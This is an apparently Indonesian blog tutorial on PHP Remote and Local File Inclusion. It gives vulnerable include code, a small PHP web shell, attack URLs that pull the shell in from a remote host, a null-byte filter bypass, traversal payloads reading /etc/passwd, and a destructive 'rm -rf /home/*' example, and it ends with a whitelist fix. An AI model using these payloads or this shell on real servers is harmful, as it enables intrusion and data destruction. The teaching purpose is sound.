RFI :: Remote File Inclusion
 
Dieksploitasi dengan memasukkan script dari situs lain ke situs yang terinfeksi, misalnya kita dapat menyertakan PHP-Shell, dan atau mengeksekusi perintah pada server yang rentan tersebut. Celah ini sangat berbahaya dan sebuah situs yang rentan dapat diacak-acak dengan mudah...
Catatan :
http:// wrapper harus aktif pada konfigurasi server dengan allow_url_include=On pada php.ini
allow_url_fopen=on (PHP < 5.2.0)
allow_url_include=on (PHP >= 5.2.0)

Contoh kode yang dapat dimanfaatkan untuk celah ini :
<?phpif (isset($_GET['page'])) {
    include(
$_GET['page']);
}
?>
Seperti yang bisa kita lihat, kita mengambil variabel 'page' kemudian di include-kan ke website. misalnya :
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=includes/contact.inc
ini akan memanggil dan mengeksekusi contact.inc pada folder 'includes'.
tapi, apa yang membuatnya berbahaya?
Katakanlah file malcode.txt yang berada di http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt memiliki kode berikut:
<?php if (isset($_POST['cmd'])) {
    @
system($_POST['cmd']);
}
echo 
"
<form method='POST'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>"
;?>
Contoh serangan :
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt
apa yang terjadi kemudian? Kode akan terlihat seperti ini:
<?phpif (isset($_GET['page'])) {
    include(
'http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt');
}
?>
file teks yang akan dimasukkan akan dijalankan sebagai kode php.
Sebuah kotak teks kecil akan muncul pada halaman website dengan sebuah tombol, yang akan mengeksekusi perintah ke sistem...
jika dia cukup 'wewenang', ia dapat melakukan hal berikut:
rm -rf /home/*
dan... *puffff* file2 di bawah folder home hilang...
beberapa developer berpikir mereka dapat memperbaiki celah tersebut dengan melakukan hal berikut:
<?php
$page 
NULL;
if ( isset (
$_GET['page']) ) {
    
$page $_GET['page'] . ".inc";
}
if (isset(
$page)) {
    include(
$page);
}
?>
Cara ini, Anda hanya dapat menyertakan file .inc.
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-little-filter.php?page=includes/contact
namun, itu tidak akan menghentikan beberapa orang! Ada sesuatu yang disebut NullByte yang membuat PHP untuk mengabaikan apapun setelah NullByte tersebut... jika seseorang ingin mengeksploitasi kode tersebut, penyerang akan melakukan:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
ATAU bahkan hanya dengan [?] (Tanda tanya) pada akhir file.
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
Seperti yang Anda lihat, [] adalah NullByte, yang kemudian code tersebut akan menjadi seperti berikut:
<?php
$page 
NULL;
if ( isset (
$_GET['page']) ) {
    
$page $_GET['page'] . ".inc";
}
if (isset(
$page)) {
    include(
'http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?');
    
// ignoring anything after the NullByte, which is in this case, the .inc}?>
Jadi sekarang pertanyaannya adalah: bagaimana caranya agar hal tersebut dapat diatasi ?
Kita dapat menggunakan fungsi switch. Dengan cara ini, apa pun selain apa yang telah disebutkan pada fungsi switch tersebut tidak akan disertakan.
Contoh :
<?phpif ( isset($_GET['page']) ) {
    switch (
$_GET['page']) {
        case 
'about':
            include(
'includes/about.inc'); // if the page was about, get the about.inc contents...
        
break;
        case 
'contact':
            include(
'includes/about.inc'); // and so on :)
        
break;
        default:
            include(
'includes/index.inc'); // the default page to include, if the page variable was not found, or it was a hack attempt :)
        
break;
    }
}
?>
 

LFI :: Local File Inclusion

Mirip seperti RFI, perbedaannya adalah LFI hanya mendapatkan file dari server tersebut.
RFI menjadi LFI ketika http:// wrapper dinonaktifkan ( allow_url_include = Off ) pada php.ini

Contoh :
  • http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../etc/passwd
  • http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../var/log/apache2/error.log 
  • dan seterusnya...

0 komentar:

Post a Comment

 
Top